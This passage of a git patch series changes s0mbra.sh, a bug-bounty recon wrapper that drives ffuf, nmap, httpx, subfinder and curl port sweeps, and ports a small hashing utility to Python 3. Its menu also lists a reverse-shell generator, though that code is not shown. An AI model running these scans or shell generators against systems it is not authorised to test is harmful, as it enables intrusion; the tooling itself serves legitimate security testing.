- add at the end of the path (for dir enumerations where sometimes - # dir path has to end with / to be identified - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ/ -mc $HTTP_RESP_CODES -H -fs $3 "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" - else - # if $3 arg is not /, treat it as file extension to enumerate files: - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ.$4 -mc $HTTP_RESP_CODES -fs $3 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" - fi - else - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc $HTTP_RESP_CODES -fs $3 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" - fi - echo -e "$BLUE\n[s0mbra] Done! $CLR" -} - kiterunner() { HOSTNAME=$1 echo -e "$BLUE[s0mbra] Running kiterunner using apis file...$CLR\n" @@ -766,9 +744,6 @@ case "$cmd" in fu) fu "$2" "$3" "$4" ;; - fufilter) - fufilter "$2" "$3" "$4" "$5" - ;; apifuzz) api_fuzz "$2" "$3" ;; @@ -789,7 +764,6 @@ case "$cmd" in echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> webapp resource enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" - echo -e "$CYAN fufilter $GRAY[URL] [DICT] [SIZE] [*EXT/*ENDSLASH.]$CLR\t -> webapp resource enumeration with ffuf; filter out resp. size SIZE (DICT: starter, lowercase, wordlist etc.)" echo -e "$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t -> decodes Base64 string" echo -e "$CYAN apifuzz $GRAY[BASE_HREF] [ENDPOINTS]$CLR\t\t -> fuzzing API endpoints with httpie" echo -e "$CYAN gql $GRAY[TARGET_URL]$CLR\t\t$YELLOW(GraphQL)$CLR\t -> checking GraphQL endpoint for known vulnerabilities with graphql-cop" From 289c53c333b228a8da52fd4029a222969ae20da5 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 9 May 2022 08:54:55 +0100 Subject: [PATCH 126/289] [hacher] Refactor to Python 3 --- hasher.py | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/hasher.py b/hasher.py index 91f9ac0..b849f30 100755 --- a/hasher.py +++ b/hasher.py @@ -1,4 +1,4 @@ -#!/usr/bin/python +#!/usr/bin//env python3 ### github.com/bl4de | hackerone.com/bl4de ### import sys @@ -13,22 +13,22 @@ def usage(): - print description + print(description) exit(0) + def hex_encode(s): enc = '' for c in s: - enc = enc + (str(hex(ord(c))).replace('0x','')) + enc = enc + (str(hex(c)).replace('0x', '')) return enc def main(s): - print "SHA1\t\t{}".format(hashlib.sha1(s).hexdigest()) - print "MD5 \t\t{}".format(hashlib.md5(s).hexdigest()) - print "Base64 \t\t{}".format(base64.b64encode(s)) - print "URL-encoded \t{}".format(urllib.pathname2url(s)) - print "HEX encoded \t{}".format(hex_encode(s)) + print("SHA1\t\t{}".format(hashlib.sha1(s.encode('utf-8')).hexdigest())) + print("MD5 \t\t{}".format(hashlib.md5(s.encode('utf-8')).hexdigest())) + print("Base64 \t\t{}".format(base64.b64encode(s.encode('utf-8')))) + print("HEX encoded \t{}".format(hex_encode(s.encode('utf-8')))) if __name__ == "__main__": From 076f9787b5a976774ebc44e44418874def6cc4a9 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 14 May 2022 17:28:10 +0100 Subject: [PATCH 127/289] [s0mbra] menu improvement --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 204ac97..1285342 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -772,7 +772,7 @@ case "$cmd" in echo -e "$CYAN s3go $GRAY[bucket] [key]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> get object identified by [key] from AWS S3 [bucket]" echo -e "$BLUE_BG:: PENTEST TOOLS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" - echo -e "$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A on found open ports" + echo -e "$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS]/-p- to enumerate; -sV -sC -A on found ports" echo -e "$CYAN http $GRAY[PORT]$CLR\t\t\t\t\t -> runs HTTP server on [PORT] TCP port" echo -e "$CYAN generate_shells $GRAY[IP] [PORT] $CLR\t\t\t -> generates ready-to-use reverse shells in various languages for given IP:PORT" echo -e "$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" From be160ef9df6adf6f2c9e5fa1e5cc2d5190213ed8 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 15 May 2022 12:48:22 +0100 Subject: [PATCH 128/289] [s0mbra] remove ransack; use recon instead of ransack; --- s0mbra.sh | 48 +++--------------------------------------------- 1 file changed, 3 insertions(+), 45 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 1285342..c56c513 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -272,46 +272,9 @@ takealook() { echo -e "\n$BLUE[s0mbra] Done.$CLR" } -# automated recon: subfinder + nmap + httpx + ffuf | on domain(s) -> save to scope file -recon() { - TMPDIR=$(pwd) - START_TIME=$(date) - echo -e "$BLUE[s0mbra] Running quick, dirty recon on $1 domain: subfinder + httpx + ffuf on 200 OK...$CLR\n" - - # subfinder - echo -e "\n$GREEN--> subfinder$CLR\n" - subfinder -nW -all -v -dL $1 -o $TMPDIR/s0mbra_recon_subfinder.tmp - - # nmap - echo -e "\n$GREEN--> nmap (top 1000 ports)$CLR\n" - nmap --min-rate=1000 -T4 -iL $TMPDIR/s0mbra_recon_subfinder.tmp --top-ports 100 -n --disable-arp-ping -sV -A -oN $TMPDIR/s0mbra_recon_nmap.tmp -oX $TMPDIR/s0mbra_recon_nmap.xml - - # httpx - echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subfinder.tmp -o $TMPDIR/s0mbra_recon_httpx.tmp - - # ffuf - starter + lowercase enumeration - echo -e "\n$GREEN--> ffuf on HTTP 200 from httpx$CLR\n" - for url in $(cat $TMPDIR/s0mbra_recon_httpx.tmp | grep "200" | cut -d' ' -f1); - do - NAME=$(echo $url | cut -d'/' -f3) - ffuf -ac -c -w $DICT_HOME/starter.txt -u $url/FUZZ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_starter_$NAME.log - ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $url/FUZZ/ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$NAME.log - done - - END_TIME=$(date) - echo -e "\n$GREEN[s0mbra] Finished!" - echo -e "\nstarted at: $RED $START_TIME $GREEN" - echo -e "finished at: $RED $END_TIME $GREEN\n" - echo -e " subfinder output file -> $GRAY $TMPDIR/s0mbra_subfinder.tmp$GREEN" - echo -e " httpx output file -> $GRAY $TMPDIR/s0mbra_httpx.tmp$GREEN" - echo -e " nmap output file -> $GRAY $TMPDIR/s0mbra_recon_nmap.tmp" - echo -e "\n$BLUE[s0mbra] Done.$CLR" -} - # does recon on URL: nmap, ffuf, other smaller tools, ...? # pass ONLY hostname (without protocol prefix) -ransack() { +recon() { HOSTNAME=$1 # set options: @@ -658,10 +621,7 @@ case "$cmd" in takealook "$2" ;; recon) - recon "$2" - ;; - ransack) - ransack "$2" "$3" "$4" + recon "$2" "$3" "$4" ;; kiterunner) kiterunner "$2" @@ -755,12 +715,10 @@ case "$cmd" in ;; *) clear - echo -e "$GREEN I'm guessing there's no chance we can take care of this quietly, is there? - S0mbra$CLR" echo -e "$BLUE_BG:: BUG BOUNTY RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN lookaround $GRAY[SCOPE_FILE]$CLR\t\t\t -> just look around... (subfinder + httpx on discovered hosts from scope file)" echo -e "$CYAN takealook $GRAY[DOMAIN]$CLR\t\t\t\t -> lookaround, but for single domain (no scope file needed)" - echo -e "$CYAN recon $GRAY[DOMAIN]$CLR\t\t\t\t\t -> basic recon: subfinder + nmap + httpx + ffuf (one tool at the time on all hosts)" - echo -e "$CYAN ransack $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap|nikto|vhosts|ffuf|feroxbuster|x8" + echo -e "$CYAN recon $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap|nikto|vhosts|ffuf|feroxbuster|x8" echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> webapp resource enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" From d3ef7e98d9442b2727548928eda61e7c96c6157b Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 16 May 2022 10:56:06 +0100 Subject: [PATCH 129/289] [s0mbra] get command to send HTTP requests to the server --- s0mbra.sh | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) diff --git a/s0mbra.sh b/s0mbra.sh index c56c513..be52b78 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -606,6 +606,18 @@ b64() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } +# executes HTTP requests to most common HTTP ports +get() { + PORTS=(80 280 443 591) + echo -e "$BLUE[s0mbra] GETing most common HTTP ports on $1...$CLR" + for PORT in "${PORTS[@]}"; do + echo -e "$YELLOW[s0mbra] Executing HTTP request to port $PORT...$CLR" + curl -I -m 10 https://$1:$PORT + echo + done + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + ### menu cmd=$1 clear @@ -704,6 +716,9 @@ case "$cmd" in fu) fu "$2" "$3" "$4" ;; + get) + get "$2" + ;; apifuzz) api_fuzz "$2" "$3" ;; @@ -722,6 +737,7 @@ case "$cmd" in echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> webapp resource enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" + echo -e "$CYAN get $GRAY[HOST]$CLR\t\t\t\t\t -> executes HTTP requests to HOST on most popular HTTP ports" echo -e "$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t -> decodes Base64 string" echo -e "$CYAN apifuzz $GRAY[BASE_HREF] [ENDPOINTS]$CLR\t\t -> fuzzing API endpoints with httpie" echo -e "$CYAN gql $GRAY[TARGET_URL]$CLR\t\t$YELLOW(GraphQL)$CLR\t -> checking GraphQL endpoint for known vulnerabilities with graphql-cop" From 56a5ec47411512a87ed9e1c72d4ea256381f323a Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 21 May 2022 11:23:41 +0100 Subject: [PATCH 130/289] [s0mbra] List of HTTP ports for get command --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index be52b78..488dcab 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -608,7 +608,7 @@ b64() { # executes HTTP requests to most common HTTP ports get() { - PORTS=(80 280 443 591) + PORTS=(80 280 443 591 593 981 1311 2480 3000 4567 5104 5985 7000 7001 7002 8000 8008 8080 8222 8443 8530 9080 9443 12443 16080 18091 18092) echo -e "$BLUE[s0mbra] GETing most common HTTP ports on $1...$CLR" for PORT in "${PORTS[@]}"; do echo -e "$YELLOW[s0mbra] Executing HTTP request to port $PORT...$CLR" From 40cd98fff47ca47f8778338493a32f74f7b6ee32 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 21 May 2022 11:36:33 +0100 Subject: [PATCH 131/289] [s0mbra] takealook output improvements --- s0mbra.sh | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 488dcab..63251e7 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -265,9 +265,9 @@ takealook() { END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" echo -e "finished at: $RED $END_TIME $GREEN\n" - echo -e " $GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_subdomains_final.tmp` | cut -d" " -f 1) $GRAY subdomains" - echo -e " $GRAY httpx found \t\t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_httpx.tmp` | cut -d" " -f 1) $GRAY active web servers $GREEN" - echo -e " $GRAY HTTP servers responding 200 OK: $CLR\n" + echo -e "$GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_subdomains_final.tmp` | cut -d" " -f 1) $GRAY subdomains" + echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_httpx.tmp` | cut -d" " -f 1) $GRAY active web servers $GREEN" + echo -e "$GREEN\nHTTP servers responding 200 OK: $CLR\n" grep 200 $TMPDIR/s0mbra_recon_httpx.tmp echo -e "\n$BLUE[s0mbra] Done.$CLR" } From d28a11ceb05f7fca72a8cd10d57756e578e7ef35 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 21 May 2022 21:17:14 +0100 Subject: [PATCH 132/289] [s0mbra] added subdomanizer to recon command --- s0mbra.sh | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 63251e7..0994f1b 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -284,6 +284,7 @@ recon() { FFUF=$(echo $2|grep 'ffuf'|wc -l) FEROXBUSTER=$(echo $2|grep 'feroxbuster'|wc -l) X8=$(echo $2|grep 'x8'|wc -l) + SUBDOMANIZER=$(echo $2|grep 'subdomanizer'|wc -l) # set proto: if [[ -z $3 ]]; then @@ -339,6 +340,12 @@ recon() { x8 -u $PROTO://$HOSTNAME/ -w $DICT_HOME/urlparams.txt -c 10 fi + # subdomanizer + if [[ $SUBDOMANIZER -eq "1" ]]; then + echo -e "\n$GREEN--> SubDomanizer$CLR\n" + subdomanizer --url $PROTO://$HOSTNAME/ + fi + END_TIME=$(date) echo -e "\n$GREEN[s0mbra] Finished!" echo -e "\nstarted at: $RED $START_TIME $GREEN" @@ -733,7 +740,7 @@ case "$cmd" in echo -e "$BLUE_BG:: BUG BOUNTY RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN lookaround $GRAY[SCOPE_FILE]$CLR\t\t\t -> just look around... (subfinder + httpx on discovered hosts from scope file)" echo -e "$CYAN takealook $GRAY[DOMAIN]$CLR\t\t\t\t -> lookaround, but for single domain (no scope file needed)" - echo -e "$CYAN recon $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap|nikto|vhosts|ffuf|feroxbuster|x8" + echo -e "$CYAN recon $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap,nikto,vhosts,ffuf,feroxbuster,x8,subdomanizer" echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> webapp resource enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" From 43f0abf972ae66dbc87f2a92f8052234fa211a24 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 21 May 2022 21:36:12 +0100 Subject: [PATCH 133/289] [s0mbra] run recon with default set of tools when no options passed --- s0mbra.sh | 27 +++++++++++++++++++-------- 1 file changed, 19 insertions(+), 8 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 0994f1b..4a7e0e3 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -277,14 +277,25 @@ takealook() { recon() { HOSTNAME=$1 - # set options: - NMAP=$(echo $2|grep 'nmap'|wc -l) - NIKTO=$(echo $2|grep 'nikto'|wc -l) - VHOSTS=$(echo $2|grep 'vhosts'|wc -l) - FFUF=$(echo $2|grep 'ffuf'|wc -l) - FEROXBUSTER=$(echo $2|grep 'feroxbuster'|wc -l) - X8=$(echo $2|grep 'x8'|wc -l) - SUBDOMANIZER=$(echo $2|grep 'subdomanizer'|wc -l) + # set proto: + if [[ -z $2 ]]; then + # default options: + NMAP="1" + NIKTO="1" + FFUF="1" + FEROXBUSTER="1" + X8="1" + SUBDOMANIZER="1" + else + # set options: + NMAP=$(echo $2|grep 'nmap'|wc -l) + NIKTO=$(echo $2|grep 'nikto'|wc -l) + VHOSTS=$(echo $2|grep 'vhosts'|wc -l) + FFUF=$(echo $2|grep 'ffuf'|wc -l) + FEROXBUSTER=$(echo $2|grep 'feroxbuster'|wc -l) + X8=$(echo $2|grep 'x8'|wc -l) + SUBDOMANIZER=$(echo $2|grep 'subdomanizer'|wc -l) + fi # set proto: if [[ -z $3 ]]; then From f5e228ab2064b9ddd6b21028a2c77e291426003e Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 22 May 2022 15:21:07 +0100 Subject: [PATCH 134/289] [s0mbra] hasher command; main menu improvements --- s0mbra.sh | 21 +++++++++++++++++---- 1 file changed, 17 insertions(+), 4 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 4a7e0e3..5dd2ed5 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -624,6 +624,13 @@ b64() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } +# hash/encode string +hshr() { + echo -e "$BLUE[s0mbra] Hash/encoode $1...$CLR" + hasher $1 + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + # executes HTTP requests to most common HTTP ports get() { PORTS=(80 280 443 591 593 981 1311 2480 3000 4567 5104 5985 7000 7001 7002 8000 8008 8080 8222 8443 8530 9080 9443 12443 16080 18091 18092) @@ -731,6 +738,9 @@ case "$cmd" in b64) b64 "$2" ;; + hasher) + hshr "$2" + ;; fu) fu "$2" "$3" "$4" ;; @@ -748,16 +758,15 @@ case "$cmd" in ;; *) clear - echo -e "$BLUE_BG:: BUG BOUNTY RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$BLUE_BG:: RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN lookaround $GRAY[SCOPE_FILE]$CLR\t\t\t -> just look around... (subfinder + httpx on discovered hosts from scope file)" echo -e "$CYAN takealook $GRAY[DOMAIN]$CLR\t\t\t\t -> lookaround, but for single domain (no scope file needed)" echo -e "$CYAN recon $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap,nikto,vhosts,ffuf,feroxbuster,x8,subdomanizer" - echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> webapp resource enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" echo -e "$CYAN get $GRAY[HOST]$CLR\t\t\t\t\t -> executes HTTP requests to HOST on most popular HTTP ports" - echo -e "$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t -> decodes Base64 string" - echo -e "$CYAN apifuzz $GRAY[BASE_HREF] [ENDPOINTS]$CLR\t\t -> fuzzing API endpoints with httpie" + echo -e "$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(RESTapi)$CLR\t -> fuzzing API endpoints with httpie" + echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t$YELLOW(RESTapi)$CLR\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" echo -e "$CYAN gql $GRAY[TARGET_URL]$CLR\t\t$YELLOW(GraphQL)$CLR\t -> checking GraphQL endpoint for known vulnerabilities with graphql-cop" echo -e "$BLUE_BG:: CLOUD ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN s3 $GRAY[bucket]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" @@ -791,6 +800,10 @@ case "$cmd" in echo -e "$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t$YELLOW(Java)$CLR\t\t -> exports .dex file into .jar" echo -e "$CYAN apk $GRAY[.apk FILE]$CLR\t\t$YELLOW(Java)$CLR\t\t -> extracts APK file and run apktool on it" echo -e "$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t$YELLOW(Java)$CLR\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" + echo -e "$BLUE_BG:: UTILS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t -> decodes Base64 string" + echo -e "$CYAN hasher $GRAY[STRING]$CLR\t\t\t\t -> hash/encode string (md5, sha1, base64, hex encoded)" + echo -e "$CLR" ;; esac From 8a0d9b60db303677f65e5d68fb4f0dc460c213ec Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 23 May 2022 12:39:43 +0100 Subject: [PATCH 135/289] [s0mbra] get command with both HTTP and HTTPS requets to each port --- s0mbra.sh | 2 ++ 1 file changed, 2 insertions(+) diff --git a/s0mbra.sh b/s0mbra.sh index 5dd2ed5..6f530c6 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -637,6 +637,8 @@ get() { echo -e "$BLUE[s0mbra] GETing most common HTTP ports on $1...$CLR" for PORT in "${PORTS[@]}"; do echo -e "$YELLOW[s0mbra] Executing HTTP request to port $PORT...$CLR" + curl -I -m 10 http://$1:$PORT + echo -e "$YELLOW[s0mbra] Executing HTTPS request to port $PORT...$CLR" curl -I -m 10 https://$1:$PORT echo done From 3c2fb82c4177caeffb775ace02e549d04479abe4 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 25 May 2022 18:23:19 +0100 Subject: [PATCH 136/289] [s0mbra] add / at the end of -u argument --- s0mbra.sh | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 6f530c6..a56b79c 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -376,13 +376,13 @@ fu() { if [[ $3 == "/" ]]; then # if $3 arg passed to fu equals / - add at the end of the path (for dir enumerations where sometimes # dir path has to end with / to be identified - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ/ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1/FUZZ/ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" else # if $3 arg is not /, treat it as file extension to enumerate files: - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ.$3 -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1/FUZZ.$3 -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" fi else - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1/FUZZ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" fi echo -e "$BLUE\n[s0mbra] Done! $CLR" } From 2da276c4c8c686ebb8986110882dd49c56b75361 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 28 May 2022 10:17:10 +0100 Subject: [PATCH 137/289] [s0mbra] extract API endpoints from file (in progress) --- s0mbra.sh | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/s0mbra.sh b/s0mbra.sh index a56b79c..09c0538 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -387,6 +387,16 @@ fu() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } +#extracts API endpoint urls (eg. "/api/user/create") +endpoints() { + clear + FILE=$1 + PATH=$2 + echo -e "$BLUE[s0mbra] Extracting API endpoints from $FILE...$CLR" + grep --color -n "$PATH" $1 + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + api_fuzz() { clear echo -e "$BLUE[s0mbra] Fuzzing $1 API with httpie using endpoints file $2...$CLR" @@ -749,6 +759,9 @@ case "$cmd" in get) get "$2" ;; + endpoints) + endpoints "$2" "$3" + ;; apifuzz) api_fuzz "$2" "$3" ;; @@ -767,6 +780,7 @@ case "$cmd" in echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> webapp resource enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" echo -e "$CYAN get $GRAY[HOST]$CLR\t\t\t\t\t -> executes HTTP requests to HOST on most popular HTTP ports" + echo -e "$CYAN endpoints $GRAY[FILE] [PATH]$CLR\t$YELLOW(RESTapi)$CLR\t -> extracts API endpoints from FILE, which conatins PATH (eg. /api/ -> /api/user/delete)" echo -e "$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(RESTapi)$CLR\t -> fuzzing API endpoints with httpie" echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t$YELLOW(RESTapi)$CLR\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" echo -e "$CYAN gql $GRAY[TARGET_URL]$CLR\t\t$YELLOW(GraphQL)$CLR\t -> checking GraphQL endpoint for known vulnerabilities with graphql-cop" From ac5146855f8782817487761cde9d5a4e87935a77 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 29 May 2022 22:36:45 +0100 Subject: [PATCH 138/289] [s0mbra] Fix for grep command --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 09c0538..43cfd2a 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -393,7 +393,7 @@ endpoints() { FILE=$1 PATH=$2 echo -e "$BLUE[s0mbra] Extracting API endpoints from $FILE...$CLR" - grep --color -n "$PATH" $1 + /usr/bin/grep --color -n -e "$PATH" $FILE echo -e "$BLUE\n[s0mbra] Done! $CLR" } From 22ab23eae1d655143f5a6b7c0695abb7102517bf Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 30 May 2022 00:03:39 +0100 Subject: [PATCH 139/289] [s0mbra] s3ls command to list content of directory on S3 bucket --- s0mbra.sh | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/s0mbra.sh b/s0mbra.sh index 43cfd2a..1e80640 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -507,6 +507,14 @@ s3go() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } + +s3ls() { + clear + echo -e "$BLUE[s0mbra] Listing $2 folder on $1 bucket...$CLR" + aws s3 ls "s3://$1/$2/" 2> /dev/null + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + # coverts .dex file to .jar archive dex_to_jar() { clear @@ -768,6 +776,9 @@ case "$cmd" in s3go) s3go "$2" "$3" ;; + s3ls) + s3ls "$2" "$3" + ;; generate_shells) generate_shells "$2" "$3" ;; @@ -787,6 +798,7 @@ case "$cmd" in echo -e "$BLUE_BG:: CLOUD ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN s3 $GRAY[bucket]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" echo -e "$CYAN s3go $GRAY[bucket] [key]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> get object identified by [key] from AWS S3 [bucket]" + echo -e "$CYAN s3ls $GRAY[bucket] [folder]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> list content of [folder] on S3 [bucket] - requires 